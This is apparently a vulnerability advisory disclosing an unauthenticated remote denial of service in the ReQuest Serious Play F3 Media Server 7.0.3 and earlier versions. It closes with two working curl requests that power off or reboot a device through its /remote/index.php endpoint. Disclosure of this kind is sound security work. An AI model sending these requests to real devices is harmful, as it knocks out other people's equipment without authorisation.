ReQuest Serious Play F3 Media Server version 7.0.3 suffers from a denial of service vulnerability. The device can be shutdown or rebooted by an unauthenticated attacker when issuing one HTTP GET request.
7e4935c15e1a6e632932f0aa3b9ab22a
ReQuest Serious Play F3 Media Server 7.0.3 Remote Denial of Service
Vendor: ReQuest Serious Play LLC
Product web page: http://www.request.com
Affected version: 7.0.3.4968 (Pro)
7.0.2.4954
6.5.2.4954
6.4.2.4681
6.3.2.4203
2.0.1.823
Summary: F3 packs all the power of ReQuest's multi-zone serious Play servers
into a compact powerhouse. With the ability to add unlimited NAS devices, the
F3 can handle your entire family's media collection with ease.
Desc: The device can be shutdown or rebooted by an unauthenticated attacker
when issuing one HTTP GET request.
Tested on: ReQuest Serious Play® OS v7.0.1
ReQuest Serious Play® OS v6.0.0
Debian GNU/Linux 5.0
Linux 3.2.0-4-686-pae
Linux 2.6.36-request+lenny.5
Apache/2.2.22
Apache/2.2.9
PHP/5.4.45
PHP/5.2.6-1
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research and Development Laboratory
Zero Science Lab - https://www.zeroscience.mk - @zeroscience
Advisory ID: ZSL-2020-5601
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5601.php
01.08.2020
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$ curl http://192.168.1.17:3664/remote/index.php?cmd=poweroff
$ curl http://192.168.1.17:3664/remote/index.php?cmd=reboot